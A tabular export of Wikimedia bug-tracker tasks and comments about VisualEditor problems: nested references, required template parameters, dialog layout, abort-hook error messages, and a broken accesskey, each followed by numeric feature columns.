+232793,VisualEditor: Incorrectly displaying nested references,"Look at [[Otto I]].  It has 63 references, including ref #18 (""Thompson"") from explanatory footnote [d].  This ref doesn't appear in VisualEditor.",,,1408406807,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-6255kvv4aihzvptanmel,task_subcomment,,True,c1,3,False,,,59,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+232789,VisualEditor: Incorrectly displaying nested references,I believe that this now has been fixed - compare https://en.wikipedia.org/wiki/Otto_I%2C_Holy_Roman_Emperor with https://en.wikipedia.org/wiki/Otto_I%2C_Holy_Roman_Emperor?veaction=edit to see the reference lists being the same in both cases. Sorry for the slow response.,,,1375383334,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6255kvv4aihzvptanmel,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+52747,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"TemplateData makes it possible to have 'required' parameters, but not using these parameters in the Template editor, does not alert you of the fact that these parameters are required.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=60358",High,80.0,1372947300,1410982793.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+232704,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Verified the fix in production,,,1411682658,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+232697,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Verified the fix in test2,,,1411081594,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+232692,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Verified the fix to show confirmation dialog when trying to insert/edit a template with one or more missing required parameters,,,1410991738,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0
+232689,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"There are still some remaining improvements (as always), but the thrust of this bug is now done.",,,1410982793,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,63,,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+232686,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 156559 merged by jenkins-bot:
+Get confirmation when trying to insert/edit template/citation with required parameters missing
+
+https://gerrit.wikimedia.org/r/156559",,,1410982430,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,63,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+232683,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 156559 had a related patch set uploaded by Alex Monk:
+Get confirmation when trying to insert template with required parameters missing
+
+https://gerrit.wikimedia.org/r/156559",,,1409154385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,60,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+232680,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,We're also going to require the user to confirm when they try to insert a template with required parameters missing.,,,1409154296,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,60,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+232675,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"I just used the Cite news template in VE, via the mini-editor. That template has a number of ""required"" parameters. I added just a url (a non-required field), clicked ""Insert citation"", and the dialog closed, posting the citation to the main page.
+
+I also tested the Infobox person template, which uses the regular Template dialog. That template has one required parameter, ""Name"". I ignored that parameter, added another one, filled in the second one, and clicked ""Insert template""; the dialog box closed. And the inserted template did *not* have a value for the one required parameter.
+
+So not only are ""required"" parameters not enforced by VE, but VE doesn't even *warn* the user that one or more required parameters are missing. That is quite unhelpful; it's a missed opportunity for VE to be *better* than the wikitext editor.
+
+(I note, in passing, that the marking of ""required"" fields is, let's say, *subtle* - an uncolored asterisk that doesn't have a tooltip. I hope that subtlety isn't one of the goals of the VE team.)
+
+At minimum, VE should display a warning (pop-up box) that says ""One or more required parameters is missing"". Then the user could choose either to click on ""return to dialog"" or click on ""insert citation""; the latter would finish the dialog.
+
+And NO, Bug 60358 does not address *anything* about the templates creation process (as described above). Bug 60358 is about *editing* an existing template, which is a different thing.",,,1408766440,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,59,,0,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+232668,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"(In reply to Alex Monk from comment #14)
+> Is there anything left here to do that isn't bug 60358?
+
+I believe that that will complete this.",,,1408762442,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,59,,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+232660,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Is there anything left here to do that isn't bug 60358?,,,1408757255,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,59,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+232651,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"I haven't tested required/optional fields in depth, but some casual tests suggest that currently
+
+* Required and optional parameters are presented differently. The required can be seen in a left column, while the optional are in the ""body"". Not the most self-evident UX if you ask me (why not adding labels ""Required"" / ""Optional""?), but you get the idea after filling the first templates.
+
+* Required field aren't still enforced, nor there is any warning when they are left empty.
+
+My expectation as an editor is that a field marked as ""required"" in the documentation it is actually required...",,,1386641485,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,23,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0
+232642,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"I don't see why Wikipedia communities can't be trusted to decide what is *mandatory* and what is not, for template parameters. The communities are, after all, the ones who will live with the consequences of over-specifying or under-specifying such parameters.
+
+It seems a bit paternalistic for the WMF to tell these communities that whether or not they want the software to help ensure that ""required"" parameters are non-blank, that's not going to happen - that WMF considers anything ""required"" to actually be just ""recommended"". 
+
+As an absolute minimum, VE should issue a warning when a ""required"" parameter is left blank.",,,1374454542,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+232636,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,Not enforcing mandatory params is a bug in either design or implementation.,,,1374447401,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+232631,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Should there be ""not recommended"" parameters (I'd suggest something like ""for experts only"" as a label; if something is ""not recommended"", why have it at all?) should be marked as such by a label, when listed as parameters that *could* be added. 
+
+More generally, I don't think we need to worry much about really complex templates, if (as suggested elsewhere) the template dialog box includes a link to the documentation page for such templates. We don't need to worry much because only editors who are really interested - and motivated to understand the template - are likely to go beyond the parameters that are required and suggested, with the possible exception of editors who (idiosyncratically) use a less common parameter on a regular basis.
+
+In short, a ""required"" and a ""suggested"" list (AND enforcing that the ""required"" list be filled in) would be a huge win for the occasional user of templates.",,,1374079148,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+232628,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Indeed, I gave up doing this for the Portuguese version for now:
+https://pt.wikipedia.org/wiki/Template:Info/Taxonomia?uselang=en",,,1373922302,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+232625,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"This topic came up in http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Duplicate_parameters_in_a_template
+and  John Broughton came up with the idea that you really want more types of status: ""required"" - must be set, ""suggested"" - appears automatically on the lhs, and ""optional"". 
+
+I'd possibly add a ""not recommended"" for parameters which are there to cover corner cases but you really don't want the user to enter, the color parameter in the Taxobox is such a case. Its only useful for subtemplate calling taxobox and should almost never be used in an article, but it needs to be documented. 
+
+BTW Taxobox http://en.wikipedia.org/wiki/Taxobox is a nice torture test. It has over 100 parameter, most will not need to be used, but there will be an article using each. Perhaphs 10 of these are the most likely to be used which could be marked as ""suggested"".",,,1373921757,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0
+232622,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,English Wikipedian Joe Decker recommends indicating required parameters perhaps with the standard red asterisk.,,,1373565271,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+232617,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,%%%*** Bug 51186 has been marked as a duplicate of this bug. ***%%%,,,1373565194,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+232610,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 73136 merged by jenkins-bot:
+Auto-add required params for user added templates
+
+https://gerrit.wikimedia.org/r/73136",,,1373560433,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232603,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Leaving at ""recommend"" for now since we can't fully ensure that requiring all parameters is consistently the desired behavior.",,,1373507848,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+232594,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"(In reply to comment #2)
+> Change 73136 had a related patch set uploaded by Jforrester:
+> Auto-add required params for user added templates
+> 
+> https://gerrit.wikimedia.org/r/73136
+
+This just adds the parameters, not ""enforcing"" their presence. Not sure if we should do that (or let users do what they want).
+
+Another improvement under this bug will be to indicate mandatory ones in the list of available parameters on the template. (Put them at the top? Highlight them? Icon? …)",,,1373503365,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+232587,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 73136 had a related patch set uploaded by Jforrester:
+Auto-add required params for user added templates
+
+https://gerrit.wikimedia.org/r/73136",,,1373503236,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232580,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Indeed, this seems like a low hanging fruit improvement - when inserting a new template, having all the required fields immediately be ready for use would significantly speed up template completion.",,,1373354062,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+52728,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),"http://en.wikipedia.org/wiki/File:VisualEditor_-_Cite_template_layout_issue_%28TemplateData%29.png
+
+Tested on Firefox 22, Mono skin:
+
+'''Steps to reproduce'''
+* Open any random page in the visual editor.
+* Add a new template - use Cite Web for this.
+
+The output will be akin to the screenshot added. Some the template parameters end up next to each other, and are thus offscreen. Even if that is not the case the description will often be to long to be displayed. Would be nice if those ended up on a new line if that occurred.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372928700,1373503064.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-k2f6cmw4o3bualf2yl72,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+231514,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),"I believe that this should now be fixed; marking as such. If you can reproduce, please re-open.",,,1373503064,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+231510,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),"We believe that this is caused by a caching issue; a big change to how the CSS for dialogs is loaded is coming in this afternoon's deployment that (hopefully) will remove these issues, so I won't close this right now, but it seems likely that we will have fixed this by the end of today. Sorry for the disruption.",,,1373484976,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+231506,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),I can repro in FF20 (in Vector too) but not in Chrome 28.,,,1373358083,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+231500,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),Also happening in chrome.,,,1373357244,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+231494,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),%%%*** Bug 50738 has been marked as a duplicate of this bug. ***%%%,,,1372937527,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+52727,Save action doesn't handle abort hooks very elegantly,"When your edit trips the blacklist or an editfilter, you get a very technical and uninformative message.
+
+The edit filter causes:  ""Error: The notification you tried to make was aborted by an extension hook"" to show in the 'save' dialog.
+
+The URL blacklist:  ""Invalid code error"" apparently.
+
+https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562806113#Blocked_sites
+
+Since this is quite common for newbs to trip, it should be handled better.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**URL**: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562806113#Blocked_sites",High,80.0,1372928040,1374112342.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-pb7leo6kictiruq53qyh,task_description,resolved,True,c1,3,True,False,True,0,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+231444,Save action doesn't handle abort hooks very elegantly,"* AbuseFilter is bug 50472; resolved fixed, and will be deployed tomorrow.
+* SpamBlacklist is bug 50826; resolved fixed, and deployed yesterday.
+
+Marking this as a dupe of 50472.
+
+*** This bug has been marked as a duplicate of bug 50472 ***",,,1374112342,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pb7leo6kictiruq53qyh,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+231436,Save action doesn't handle abort hooks very elegantly,"Bumping priority & importance as proper integration with abusefilter must be a blocker, I would think, as rules are being written to prevent VE edits that are destructive to Wikipedia content.",,,1374101269,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-pb7leo6kictiruq53qyh,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+52725,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),"This broke during yesterdays deploy. Now shows <accesskey-ca-editsource> and no key is set. I think Timo fixed it already, but the fix might not have been deployed yet.
+
+--------------------------
+**Version**: unspecified
